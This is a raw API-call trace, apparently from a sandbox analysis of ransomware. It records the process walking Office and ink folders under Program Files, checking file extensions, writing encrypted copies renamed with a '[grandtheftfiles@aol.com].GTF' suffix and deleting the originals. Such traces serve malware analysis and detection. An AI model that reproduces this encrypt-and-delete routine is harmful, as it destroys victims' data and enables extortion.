	[0154.021] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.021] lstrlenW (lpString=".7z") returned 3
	[0154.021] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0154.034] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41d8028, Size=0x2000) returned 0x41d8028
	[0154.034] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0154.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0155.587] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=35346) returned 1
	[0155.587] CloseHandle (hObject=0x4a0) returned 1
	[0155.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220
	[0155.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0x20
	[0155.589] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.589] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0155.590] GetLastError () returned 0x0
	[0155.590] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x6e34, lpOverlapped=0x0) returned 1
	[0155.600] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x6e40, lpOverlapped=0x0) returned 1
	[0155.601] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.602] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.602] SetEndOfFile (hFile=0x4a4) returned 1
	[0155.602] CloseHandle (hObject=0x4a4) returned 1
	[0155.602] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.602] SetEndOfFile (hFile=0x4a0) returned 1
	[0155.605] CloseHandle (hObject=0x4a0) returned 1
	[0155.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.605] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1
	[0155.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.606] lstrlenW (lpString=".doc") returned 4
	[0155.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString=".docx") returned 5
	[0155.606] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0155.606] lstrlenW (lpString=".pdf") returned 4
	[0155.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString=".xls") returned 4
	[0155.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.606] lstrlenW (lpString=".xlsx") returned 5
	[0155.606] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0155.606] lstrlenW (lpString=".ppt") returned 4
	[0155.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.606] lstrlenW (lpString=".zip") returned 4
	[0155.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.606] lstrlenW (lpString=".rar") returned 4
	[0155.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString=".bz2") returned 4
	[0155.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString=".7z") returned 3
	[0155.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.606] lstrlenW (lpString=".dbf") returned 4
	[0155.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.606] lstrlenW (lpString=".1cd") returned 4
	[0155.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".jpg") returned 4
	[0155.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".doc") returned 4
	[0155.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString=".docx") returned 5
	[0155.607] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0155.607] lstrlenW (lpString=".pdf") returned 4
	[0155.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString=".xls") returned 4
	[0155.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.607] lstrlenW (lpString=".xlsx") returned 5
	[0155.607] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0155.607] lstrlenW (lpString=".ppt") returned 4
	[0155.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".zip") returned 4
	[0155.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.607] lstrlenW (lpString=".rar") returned 4
	[0155.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString=".bz2") returned 4
	[0155.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString=".7z") returned 3
	[0155.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".dbf") returned 4
	[0155.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".1cd") returned 4
	[0155.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68
	[0155.607] lstrlenW (lpString=".jpg") returned 4
	[0155.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.608] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.608] lstrlenW (lpString="J0090390.WMF") returned 12
	[0155.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.608] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=17638) returned 1
	[0155.608] CloseHandle (hObject=0x4a0) returned 1
	[0155.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220
	[0155.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.609] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.609] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0155.610] GetLastError () returned 0x0
	[0155.610] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x44e6, lpOverlapped=0x0) returned 1
	[0155.612] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x44f0, lpOverlapped=0x0) returned 1
	[0155.616] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.616] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.616] SetEndOfFile (hFile=0x4a4) returned 1
	[0155.616] CloseHandle (hObject=0x4a4) returned 1
	[0155.616] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.616] SetEndOfFile (hFile=0x4a0) returned 1
	[0155.619] CloseHandle (hObject=0x4a0) returned 1
	[0155.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0155.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.620] lstrlenW (lpString=".doc") returned 4
	[0155.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString=".docx") returned 5
	[0155.620] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0155.620] lstrlenW (lpString=".pdf") returned 4
	[0155.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString=".xls") returned 4
	[0155.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.620] lstrlenW (lpString=".xlsx") returned 5
	[0155.620] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0155.620] lstrlenW (lpString=".ppt") returned 4
	[0155.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.620] lstrlenW (lpString=".zip") returned 4
	[0155.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.620] lstrlenW (lpString=".rar") returned 4
	[0155.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString=".bz2") returned 4
	[0155.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString=".7z") returned 3
	[0155.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.620] lstrlenW (lpString=".dbf") returned 4
	[0155.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.620] lstrlenW (lpString=".1cd") returned 4
	[0155.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".jpg") returned 4
	[0155.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".doc") returned 4
	[0155.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString=".docx") returned 5
	[0155.621] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0155.621] lstrlenW (lpString=".pdf") returned 4
	[0155.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString=".xls") returned 4
	[0155.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.621] lstrlenW (lpString=".xlsx") returned 5
	[0155.621] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0155.621] lstrlenW (lpString=".ppt") returned 4
	[0155.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".zip") returned 4
	[0155.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.621] lstrlenW (lpString=".rar") returned 4
	[0155.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString=".bz2") returned 4
	[0155.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString=".7z") returned 3
	[0155.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".dbf") returned 4
	[0155.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".1cd") returned 4
	[0155.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0155.621] lstrlenW (lpString=".jpg") returned 4
	[0155.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.622] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.622] lstrlenW (lpString="J0090777.WMF") returned 12
	[0155.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.623] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=3332) returned 1
	[0155.623] CloseHandle (hObject=0x4a0) returned 1
	[0155.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220
	[0155.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.623] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.623] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0155.624] GetLastError () returned 0x0
	[0155.624] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0155.925] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0155.927] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.927] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.927] SetEndOfFile (hFile=0x4a4) returned 1
	[0155.927] CloseHandle (hObject=0x4a4) returned 1
	[0155.927] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.927] SetEndOfFile (hFile=0x4a0) returned 1
	[0155.931] CloseHandle (hObject=0x4a0) returned 1
	[0155.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0155.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.934] lstrlenW (lpString=".doc") returned 4
	[0155.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.934] lstrlenW (lpString=".docx") returned 5
	[0155.934] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.935] lstrlenW (lpString=".pdf") returned 4
	[0155.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString=".xls") returned 4
	[0155.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.935] lstrlenW (lpString=".xlsx") returned 5
	[0155.935] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.935] lstrlenW (lpString=".ppt") returned 4
	[0155.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString=".zip") returned 4
	[0155.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.935] lstrlenW (lpString=".rar") returned 4
	[0155.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString=".bz2") returned 4
	[0155.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString=".7z") returned 3
	[0155.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString=".dbf") returned 4
	[0155.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString=".1cd") returned 4
	[0155.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString=".jpg") returned 4
	[0155.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.935] lstrlenW (lpString=".doc") returned 4
	[0155.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.935] lstrlenW (lpString=".docx") returned 5
	[0155.935] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.936] lstrlenW (lpString=".pdf") returned 4
	[0155.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString=".xls") returned 4
	[0155.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.936] lstrlenW (lpString=".xlsx") returned 5
	[0155.936] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.936] lstrlenW (lpString=".ppt") returned 4
	[0155.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.936] lstrlenW (lpString=".zip") returned 4
	[0155.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.936] lstrlenW (lpString=".rar") returned 4
	[0155.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString=".bz2") returned 4
	[0155.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString=".7z") returned 3
	[0155.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
